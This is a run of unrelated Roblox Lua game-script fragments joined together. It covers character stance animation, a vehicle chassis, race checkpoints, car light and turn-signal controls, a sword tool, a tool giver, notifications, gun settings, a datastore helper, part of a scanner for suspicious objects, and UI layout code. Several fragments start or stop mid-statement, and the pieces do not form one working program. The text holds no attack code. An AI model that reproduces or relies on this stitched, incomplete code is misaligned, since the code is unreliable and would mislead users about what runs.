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--------------------[ STANCE FUNCTIONS ]----------------------------------------------
function Stand(OnDeselected) local LHip = Torso["Left Hip"] local RHip = Torso["Right Hip"] local Root = HRP.RootJoint Stance = 0 if S.StanceAnimation and (not OnDeselected) then spawn(function() local PreviousOffset = Humanoid.CameraOffset local PreviousRootP = Root.C0.p for X = 0, 90, 1.5 / S.StanceChangeSpeed do if Stance ~= 0 then break end local Alpha = Sine(X) Humanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[1], Alpha) Root.C0 = CF(PreviousRootP:lerp(VEC3(), Alpha)) * CFANG(RAD(-90), 0, RAD(180)) RS:wait() end end) TweenJoint(ABWeld, CF(), CF(), Sine, S.StanceChangeSpeed) TweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.StanceChangeSpeed) TweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed) elseif OnDeselected then Humanoid.CameraOffset = StanceOffset[1] ABWeld.C0 = CF() ABWeld.C1 = CF() LHip.C0 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0) LHip.C1 = CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0) RHip.C0 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0) RHip.C1 = CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0) Root.C0 = CFANG(RAD(-90), 0, RAD(180)) end end function Crouch() local LHip = Torso["Left Hip"] local RHip = Torso["Right Hip"] local Root = HRP.RootJoint Stance = 1 if S.StanceAnimation then spawn(function() local PreviousOffset = Humanoid.CameraOffset local PreviousRootP = Root.C0.p for X = 0, 90, 1.5 / S.StanceChangeSpeed do if Stance ~= 1 then break end local Alpha = Sine(X) Humanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[2], Alpha) Root.C0 = CF(PreviousRootP:lerp(VEC3(0, -1, 0), Alpha)) * CFANG(RAD(-90), 0, RAD(180)) RS:wait() end end) TweenJoint(ABWeld, CF(0, 0, -1 / 16), CF(), Sine, S.StanceChangeSpeed) TweenJoint(LHip, CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90)), Sine, S.StanceChangeSpeed) TweenJoint(RHip, CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed) else Humanoid.CameraOffset = StanceOffset[2] ABWeld.C0 = CF(0, 0, -1 / 16) ABWeld.C1 = CF() LHip.C0 = CF(-1, -0.5, 0) * CFANG(0, RAD(-90), 0) LHip.C1 = CF(-0.5, 0.5, 1) * CFANG(0, RAD(-90), RAD(-90)) RHip.C0 = CF(1, -0.5, 0.25) * CFANG(RAD(-180), RAD(90), 0) RHip.C1 = CF(0.5, 0.5, 1) * CFANG(RAD(-180), RAD(90), 0) Root.C0 = CF(0, -1, 0) * CFANG(RAD(-90), 0, RAD(180)) end end function Prone() local LHip = Torso["Left Hip"] local RHip = Torso["Right Hip"] local Root = HRP.RootJoint Stance = 2 if S.StanceAnimation then spawn(function() local PreviousOffset = Humanoid.CameraOffset local PreviousRootP = Root.C0.p for X = 0, 90, 1.5 / S.StanceChangeSpeed do if Stance ~= 2 then break end local Alpha = Sine(X) Humanoid.CameraOffset = PreviousOffset:lerp(StanceOffset[3], Alpha) Root.C0 = CF(PreviousRootP:lerp(VEC3(0, -2.5, 1), Alpha)) * CFANG(RAD(180), 0, RAD(180)) RS:wait() end end) TweenJoint(ABWeld, CF(0, 0, -1 / 8), CF(), Sine, S.StanceChangeSpeed) TweenJoint(LHip, CF(-1, -1, 0) * CFANG(0, RAD(-90), 0), CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0), Sine, S.StanceChangeSpeed) TweenJoint(RHip, CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0), CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0), Sine, S.StanceChangeSpeed) else Humanoid.CameraOffset = StanceOffset[3] ABWeld.C0 = CF(0, 0, -1 / 8) ABWeld.C1 = CF() LHip.C0 = CF(-1, -1, 0) * CFANG(0, RAD(-90), 0) LHip.C1 = CF(-0.5, 1, 0) * CFANG(0, RAD(-90), 0) RHip.C0 = CF(1, -1, 0) * CFANG(RAD(-180), RAD(90), 0) RHip.C1 = CF(0.5, 1, 0) * CFANG(RAD(-180), RAD(90), 0) Root.C0 = CF(0, -2.5, 1) * CFANG(RAD(180), 0, RAD(180)) end end function Dive(Speed) local DiveVelocity = (HRP.CFrame * CFANG(RAD(18),0,0)).lookVector * Speed * (35 / 16) * 4e3 HRP.Velocity = VEC3() Torso.Velocity = VEC3() local BF = Instance.new("BodyForce") BF.force = DiveVelocity BF.Parent = HRP delay(0.05, function() Prone() local Start = tick() while true do wait() if (tick() - Start) > 0.1 then break end BF.force = -HRP.Velocity * 700 end BF:Destroy() end) end
--[[ Module Functions ]]
-- Chassis = {} Chassis.root = PackagedVehicle:FindFirstChild("Chassis") --the root of the Chassis model Chassis.Body = PackagedVehicle:FindFirstChild("Body") -- the body of the Chassis model Chassis.driverSeat = Chassis.root:FindFirstChildOfClass("VehicleSeat") Chassis.passengerSeats = { Chassis.root:FindFirstChild("SeatFR"), Chassis.root:FindFirstChild("SeatRL"), Chassis.root:FindFirstChild("SeatRR") } local randomSuspension = Chassis.root:FindFirstChild("SuspensionFL") local wheelRadius = randomSuspension.Wheel.Size.y/2 Chassis.driverSeat.MaxSpeed = VehicleParameters.MaxSpeed * wheelRadius function Chassis.InitializeDrivingValues() -- Constraint tables always ordered FL, FR, RL, RR Motors = getVehicleMotors() local strutSpringsFront = getSprings("StrutFront") local strutSpringsRear = getSprings("StrutRear") local torsionSprings = getSprings("TorsionBar") RedressMount = Chassis.root:WaitForChild("RedressMount") SteeringPrismatic = constraints:FindFirstChild("SteeringPrismatic") SteeringPrismatic.UpperLimit = VehicleParameters.MaxSteer SteeringPrismatic.LowerLimit = -VehicleParameters.MaxSteer for _,s in pairs(strutSpringsFront) do adjustSpring(s, ActualStrutSpringStiffnessFront, ActualStrutSpringDampingFront) end for _,s in pairs(strutSpringsRear) do adjustSpring(s, ActualStrutSpringStiffnessRear, ActualStrutSpringDampingRear) end for _,s in pairs(torsionSprings) do adjustSpring(s, ActualTorsionSpringStiffness, ActualTorsionSpringDamping) end local chassisChildren = Chassis.root:GetChildren() for i = 1, #chassisChildren do local model = chassisChildren[i] if model:IsA("Model") then local wheel = model:FindFirstChild("Wheel") if wheel then local old = wheel.CustomPhysicalProperties local new = PhysicalProperties.new(old.Density, VehicleParameters.WheelFriction, old.Elasticity, old.FrictionWeight, old.ElasticityWeight) wheel.CustomPhysicalProperties = new end end end setMotorTorque(10000) end function Chassis.GetDriverSeat() return Chassis.driverSeat end function Chassis.GetPassengerSeats() return Chassis.passengerSeats end function Chassis.GetBase() return Chassis.root.PrimaryPart or Chassis.root:FindFirstChild("FloorPanel") end
-- ================================================================================ -- PUBLIC FUNCTIONS -- ================================================================================
function Checkpoint.new(collisionBody, manager) assert(collisionBody, "Trying to set partless checkpoint") local newCheckpoint = {CollisionBody = collisionBody, Manager = manager} setmetatable(newCheckpoint, Checkpoint) newCheckpoint.PlayersTouched = {} newCheckpoint.CollisionBody.Touched:connect(function(otherPart) if otherPart and otherPart.Parent then local player = game.Players:GetPlayerFromCharacter(otherPart.Parent) if player then newCheckpoint.Manager:PlayerCrossedCheckpoint(player, newCheckpoint) end end end) newCheckpoint.CollisionConnection = nil return newCheckpoint end -- Checkpoint.new() function Checkpoint:Reset() self.PlayersTouched = {} end -- Checkpoint:Reset() function Checkpoint:SetPlayerPassed(player, lapNumber) local alreadyPassed = (self.PlayersTouched[player] == lapNumber) self.PlayersTouched[player] = lapNumber return alreadyPassed end -- Checkpoint:SetPlayerPassed() function Checkpoint:PlayerLapPassed(player) return self.PlayersTouched[player] end -- Checkpoint:PlayerLapPassed()
-- body.FB.BrickColor = bool and BrickColor.new("Pearl") or BrickColor.new("Fossil") -- body.FB.Material = bool and "Neon" or "SmoothPlastic"
hb(bool) body.RB.BrickColor = bool and BrickColor.new("Really red") or BrickColor.new("Crimson") body.RB.Material = bool and "Neon" or "SmoothPlastic" tk.RB.BrickColor = bool and BrickColor.new("Really red") or BrickColor.new("Crimson") tk.RB.Material = bool and "Neon" or "SmoothPlastic" body.FB.Light.Enabled = bool car.DriveSeat.Lights.Value = bool elseif lights == 'reverse' then body.RV.BrickColor = bool and BrickColor.new("Pearl") or BrickColor.new("Fossil") body.RV.Material = bool and "Neon" or "SmoothPlastic" end end function optwait(sec,opt) if opt then wait(sec) end end local b = '' function Runner(dir,tog) if dir == 'Left' then body.LeftIn.Material = tog and "Neon" or "SmoothPlastic" body.LeftIn.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.L1.Material = tog and "Neon" or "SmoothPlastic" body.L1.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.L2.Material = tog and "Neon" or "SmoothPlastic" body.L2.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.L3.Material = tog and "Neon" or "SmoothPlastic" body.L3.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") elseif dir == 'Right' then body.RightIn.Material = tog and "Neon" or "SmoothPlastic" body.RightIn.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.R1.Material = tog and "Neon" or "SmoothPlastic" body.R1.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.R2.Material = tog and "Neon" or "SmoothPlastic" body.R2.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.R3.Material = tog and "Neon" or "SmoothPlastic" body.R3.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") elseif dir == 'Hazards' then body.LeftIn.Material = tog and "Neon" or "SmoothPlastic" body.LeftIn.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.RightIn.Material = tog and "Neon" or "SmoothPlastic" body.RightIn.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.L1.Material = tog and "Neon" or "SmoothPlastic" body.L1.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.R1.Material = tog and "Neon" or "SmoothPlastic" body.R1.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.L2.Material = tog and "Neon" or "SmoothPlastic" body.L2.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.R2.Material = tog and "Neon" or "SmoothPlastic" body.R2.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.L3.Material = tog and "Neon" or "SmoothPlastic" body.L3.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") body.R3.Material = tog and "Neon" or "SmoothPlastic" body.R3.BrickColor = tog and BrickColor.new("Pearl") or BrickColor.new("Pearl") end end function Toggle(dir, tog) if dir == 'Left' then car.Misc.FL.Door.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic" car.Misc.FL.Door.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.DriveSeat.LI.Value = tog tk.l1.Material = tog and "Neon" or "SmoothPlastic" tk.l1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.L1.Material = tog and "Neon" or "SmoothPlastic" body.L1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") --optwait(1/27,tog) body.l2.Material = tog and "Neon" or "SmoothPlastic" body.l2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.L2.Material = tog and "Neon" or "SmoothPlastic" body.L2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") --optwait(1/27,tog) body.l3.Material = tog and "Neon" or "SmoothPlastic" body.l3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.L3.Material = tog and "Neon" or "SmoothPlastic" body.L3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") elseif dir == 'Right' then car.Misc.FR.Door.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic" car.Misc.FR.Door.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.DriveSeat.RI.Value = tog tk.r1.Material = tog and "Neon" or "SmoothPlastic" tk.r1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.R1.Material = tog and "Neon" or "SmoothPlastic" body.R1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") --optwait(1/27,tog) body.r2.Material = tog and "Neon" or "SmoothPlastic" body.r2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.R2.Material = tog and "Neon" or "SmoothPlastic" body.R2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") --optwait(1/27,tog) body.r3.Material = tog and "Neon" or "SmoothPlastic" body.r3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.R3.Material = tog and "Neon" or "SmoothPlastic" body.R3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") elseif dir == 'Hazards' then car.Misc.FL.Door.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic" car.Misc.FL.Door.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.Misc.FR.Door.Mirror.Ind.Material = tog and "Neon" or "SmoothPlastic" car.Misc.FR.Door.Mirror.Ind.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") car.DriveSeat.LI.Value = tog car.DriveSeat.RI.Value = tog tk.l1.Material = tog and "Neon" or "SmoothPlastic" tk.l1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") tk.r1.Material = tog and "Neon" or "SmoothPlastic" tk.r1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.L1.Material = tog and "Neon" or "SmoothPlastic" body.L1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.R1.Material = tog and "Neon" or "SmoothPlastic" body.R1.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") --optwait(1/27,tog) body.l2.Material = tog and "Neon" or "SmoothPlastic" body.l2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.r2.Material = tog and "Neon" or "SmoothPlastic" body.r2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.L2.Material = tog and "Neon" or "SmoothPlastic" body.L2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.R2.Material = tog and "Neon" or "SmoothPlastic" body.R2.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") --optwait(1/27,tog) body.l3.Material = tog and "Neon" or "SmoothPlastic" body.l3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.r3.Material = tog and "Neon" or "SmoothPlastic" body.r3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.L3.Material = tog and "Neon" or "SmoothPlastic" body.L3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") body.R3.Material = tog and "Neon" or "SmoothPlastic" body.R3.BrickColor = tog and BrickColor.new("Deep orange") or BrickColor.new("Pearl") end end function blink(typ) b = typ if blinking == true then blinking = false else blinking = true Runner(typ, false) while blinking do Toggle(typ, true) script.Parent:FireClient(player, 'blink', .9, true) wait(1/3) Toggle(typ, false) script.Parent:FireClient(player, 'blink', 0.8, true) wait(1/3) end Toggle(typ, false) script.Parent:FireClient(player, 'blink', .9, false) wait(1/9) Runner(typ, true) end end script.Parent.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") and BlinkersEnabled then if blinking == true and b == 'Hazards' then return else blinking = false end end end) F.blinkers = function(dir) blink(dir) end F.drl = function(x) Runner('Hazards', x) end F.flash = function() Toggle('Hazards', true) wait(1/3) Toggle('Hazards', false) end script.Parent.OnServerEvent:connect(function(pl,Fnc,...) player = pl F[Fnc](...) end)
--Made by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") PlaySound = Tool:WaitForChild("PlaySound") PlaySound.Value = "" PlaySound.Changed:connect(function() if PlaySound.Value ~= "" then local Sound = Handle:FindFirstChild(PlaySound.Value) if Sound then Sound:Play() end PlaySound.Value = "" end end)
-- Create leaderboard
_table = leaderboard.new() _table.Populate()
--Fixed by Luckymaxer --Updated for R15 Avatars by StarWars
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") black = BrickColor.new("Really black") DamageValues = { BaseDamage = 5, SlashDamage = 10, LungeDamage = 20 } Damage = DamageValues.BaseDamage Sounds = { Slash = Handle:WaitForChild("SwordSlash"), Lunge = Handle:WaitForChild("SwordLunge"), Unsheath = Handle:WaitForChild("Unsheath") } Animations = { Slash = Tool:WaitForChild("Slash"), R15Slash = Tool:WaitForChild("R15Slash") } ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool function InvokeClient(Mode, Value) pcall(function() ClientControl:InvokeClient(Player, Mode, Value) end) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Hit or not Hit.Parent or not Character or not Humanoid or Humanoid.Health == 0 then return end local humanoid = Hit.Parent:FindFirstChildOfClass("Humanoid") if humanoid and humanoid ~= Humanoid and humanoid.Health > 0 then local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not RightArm then return end local player = game.Players:FindFirstChild(Hit.Parent.Name) local myteam = Player.TeamColor local theirteam = player.TeamColor local RightGrip = RightArm:FindFirstChild("RightGrip") if (RightGrip and (RightGrip.Part0 == Handle or RightGrip.Part1 == Handle)) then if player and player ~= Player and not Player.Neutral and not player.Neutral and (myteam ~= theirteam or (myteam == black and theirteam == black)) then UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) end end end end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() local Animation = Animations.Slash if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then Animation = Animations.R15Slash end InvokeClient("PlayAnimation", {Animation = Animation, Speed = 1.5}) end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool local Force = Instance.new("BodyVelocity") if Torso and Torso.Parent then Force.velocity = Vector3.new(0, 100, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.25) Force.Parent = Torso end wait(0.25) if Torso and Torso.Parent then Force.velocity = (Torso.CFrame.lookVector * 120) + Vector3.new(0, 60, 0) end wait(0.5) if Force and Force.Parent then Force:Destroy() end wait(0.5) Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled then return end Tool.Enabled = false Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Tool.Enabled = true end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso") if not Player or not Humanoid or Humanoid.Health == 0 or not Torso then return end Sounds.Unsheath:Play() end Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Connection = Handle.Touched:connect(Blow)
--
function Sword:Initialize() Sword:Connect() end
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.EggStaff -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
-- << LOCAL FUNCTIONS >>
local function updateNotices(newNotice) for i,notice in pairs(currentNotices) do if not notice.Complete.Value then local tweenInfo = tweenInfoUp local destination if i == 1 then destination = template.Position + UDim2.new(0,-notice.Size.X.Offset,0,0) else local noticeBefore = currentNotices[i-1] destination = UDim2.new(notice.Position.X.Scale, notice.Position.X.Offset, notice.Position.Y.Scale, template.Position.Y.Offset-((i-1)*(template.Size.Y.Offset+5))) end if destination.Y.Offset > notice.Position.Y.Offset then tweenInfo = tweenInfoDown end if destination then main.tweenService:Create(notice, tweenInfo, {Position = destination}):Play() end end end end local function endNotice(notice) if notice:FindFirstChild("Complete") and not notice.Complete.Value then notice.Complete.Value = true for i,v in pairs(currentNotices) do if v == notice then table.remove(currentNotices, i) local tween = main.tweenService:Create(notice, tweenInfoEnd, {Position = notice.Position + UDim2.new(0,(notice.Size.X.Offset-XOffset),0,0)}) tween:Play() tween.Completed:Wait() notice:Destroy() end end end updateNotices() end local function Queue() if noticeDe then noticeDe = false repeat wait() if #noticeQueue > 0 then local notice = noticeQueue[1] notice.Parent = notices if notice.NoticeType.Value == "Error" then main.audio.Error:Play() else main.audio.Notice:Play() end table.insert(currentNotices, 1, notice) -- if notice.Countdown.Value < 900 then spawn(function() if notice.Countdown.Value > 0 then local alignTime = os.time() repeat wait() until os.time() ~= alignTime local originalDesc = notice.Desc.Text for i = 1, notice.Countdown.Value do if not notice:FindFirstChild("Desc") or notice.Desc.Text == "Teleporting..." then break end notice.Desc.Text = originalDesc.." ("..notice.Countdown.Value+1-i..")" wait(1) end else local startTick = tick() repeat wait(0.1) until tick() - startTick >= maxTime end endNotice(notice) end) end -- updateNotices(true) -- wait(waitTime) table.remove(noticeQueue,1) end until #noticeQueue < 1 noticeDe = true end end
--[[ Returns the index of the first value found or nil if not found. ]]
local function find(list, value) for i = 1, #list do if list[i] == value then return i end end return nil end return find
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = false ,MoveBolt = false ,BoltLock = false ,CanBreachDoor = false ,CanBreak = true --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = false --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = true --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 6.5 ,GunFOVReduction = 5.5 ,BoltExtend = Vector3.new(0, 0, 0.4) ,SlideExtend = Vector3.new(0, 0, 0.4)
--Made by Repressed_Memories -- Edited by Truenus
local component = script.Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local mouse = game.Players.LocalPlayer:GetMouse() local leftsignal = "z" local rightsignal = "c" local hazards = "x" local hazardson = false local lefton = false local righton = false local leftlight = car.Body.Lights.Left.TurnSignal.TSL local rightlight = car.Body.Lights.Right.TurnSignal.TSL local leftfront = car.Body.Lights.Left.TurnSignal2 local rightfront = car.Body.Lights.Right.TurnSignal2 local signalblinktime = 0.32 local neonleft = car.Body.Lights.Left.TurnSignal local neonright = car.Body.Lights.Right.TurnSignal local off = BrickColor.New("Mid gray") local on = BrickColor.New("Deep orange") mouse.KeyDown:connect(function(lkey) local key = string.lower(lkey) if key == leftsignal then if lefton == false then lefton = true repeat neonleft.BrickColor = on leftfront.BrickColor = on leftlight.Enabled = true neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonleft.BrickColor = off leftfront.BrickColor = off component.TurnSignal:play() neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" leftlight.Enabled = false wait(signalblinktime) until lefton == false or righton == true elseif lefton == true or righton == true then lefton = false component.TurnSignal:stop() leftlight.Enabled = false end elseif key == rightsignal then if righton == false then righton = true repeat neonright.BrickColor = on rightfront.BrickColor = on rightlight.Enabled = true neonright.Material = "Neon" rightfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) neonright.BrickColor = off rightfront.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" rightlight.Enabled = false wait(signalblinktime) until righton == false or lefton == true elseif righton == true or lefton == true then righton = false component.TurnSignal:stop() rightlight.Enabled = false end elseif key == hazards then if hazardson == false then hazardson = true repeat neonright.BrickColor = on rightfront.BrickColor = on neonleft.BrickColor = on leftfront.BrickColor = on neonright.Material = "Neon" rightfront.Material = "Neon" neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() rightlight.Enabled = true leftlight.Enabled = true wait(signalblinktime) neonright.BrickColor = off rightfront.BrickColor = off neonleft.BrickColor = off leftfront.BrickColor = off component.TurnSignal:play() neonright.Material = "SmoothPlastic" rightfront.Material = "SmoothPlastic" neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" rightlight.Enabled = false leftlight.Enabled = false wait(signalblinktime) until hazardson == false elseif hazardson == true then hazardson = false component.TurnSignal:stop() rightlight.Enabled = false leftlight.Enabled = false end end end)
--[=[ Gets a sub-datastore that will write at the given name point @param name string @return DataStoreStage ]=]
function DataStoreStage:GetSubStore(name) assert(type(name) == "string", "Bad name") if self._stores[name] then return self._stores[name] end if self._takenKeys[name] then error(("[DataStoreStage.GetSubStore] - Already have a writer for %q"):format(name)) end local newStore = DataStoreStage.new(name, self) self._takenKeys[name] = true self._maid:GiveTask(newStore) self._stores[name] = newStore return newStore end
-- print("Hidden object "..i.Name.." detected in "..getAncestry(i).." ("..i.className..")") --not necessarily malicious, but may be. Remove only if you didn't except the object to be in there
end end end end _G["ScanForViruses"] = function(m,n,w) local s = "" for a = 1, n do s = s.."- - " end if m == nil then return end if m == game.Stats then return end if m.Name == "GuiRoot" and m.Parent == game then return end if printAll then print(s.."Scanning children of "..m.Name) end local c = m:getChildren() if #c > 0 then for i = 1,#c do Check(c[i],n+1,w) if (c[i] == game.Workspace) then ScanForViruses(c[i],n+1,true) else ScanForViruses(c[i],n+1,w) end end end end ScanForViruses(game.Workspace,1,true) ScanForViruses(game.Players,1,true) ScanForViruses(game.Lighting,1,true) ScanForViruses(game.StarterPack,1,true) ScanForViruses(game:findFirstChild("Teams"),1,true) ScanForViruses(game.Soundscape,1,true)
-- Set Pet Canvas Size --
function PetSrollingFrame:SetPetCanvasSize(Frame, searchOn) local UIGridLayout2 = Frame.UIGridLayout TradeMenuUI.Size = UDim2.new(0.55, 0, 0.925, 0) local PADDING, SIZE, MaxCells = getPetSizes() local AbsoluteSize = Frame.AbsoluteSize local NewPadding = PADDING * AbsoluteSize NewPadding = UDim2.new(0, NewPadding.X, 0, NewPadding.Y) local NewSize = SIZE * AbsoluteSize NewSize = UDim2.new(0, NewSize.X, 0, NewSize.Y) UIGridLayout2.CellPadding = NewPadding UIGridLayout2.CellSize = NewSize local children = Frame:GetChildren() local items = 0 if searchOn == true then for _, v in pairs(Frame:GetChildren()) do if v:IsA("ImageLabel") and v:FindFirstChild("Data") then if v.Visible == true then items = items + 1 end end end else items = (#children) - 1 end local frameSizeY = Frame.AbsoluteSize.Y local ySize = UIGridLayout2.CellSize.Y.Offset local yPadding = UIGridLayout2.CellPadding.Y.Offset UIGridLayout2.FillDirectionMaxCells = MaxCells local rows = math.ceil(items / UIGridLayout2.FillDirectionMaxCells) local pixels = rows * ySize + (rows - 1) * yPadding Frame.CanvasSize = UDim2.new(0, 0, 0, (pixels + 5)) if TradeMenuUI.Visible == false then TradeMenuUI.Size = UDim2.new(0, 0, 0, 0) end end return PetSrollingFrame
--!nonstrict
local PathDisplay = {} PathDisplay.spacing = 8 PathDisplay.image = "rbxasset://textures/Cursors/Gamepad/Pointer.png" PathDisplay.imageSize = Vector2.new(2, 2) local currentPoints = {} local renderedPoints = {} local pointModel = Instance.new("Model") pointModel.Name = "PathDisplayPoints" local adorneePart = Instance.new("Part") adorneePart.Anchored = true adorneePart.CanCollide = false adorneePart.Transparency = 1 adorneePart.Name = "PathDisplayAdornee" adorneePart.CFrame = CFrame.new(0, 0, 0) adorneePart.Parent = pointModel local pointPool = {} local poolTop = 30 for i = 1, poolTop do local point = Instance.new("ImageHandleAdornment") point.Archivable = false point.Adornee = adorneePart point.Image = PathDisplay.image point.Size = PathDisplay.imageSize pointPool[i] = point end local function retrieveFromPool(): ImageHandleAdornment? local point = pointPool[1] if not point then return nil end pointPool[1], pointPool[poolTop] = pointPool[poolTop], nil poolTop = poolTop - 1 return point end local function returnToPool(point: ImageHandleAdornment) poolTop = poolTop + 1 pointPool[poolTop] = point end local function renderPoint(point: Vector3, isLast): ImageHandleAdornment? if poolTop == 0 then return nil end local 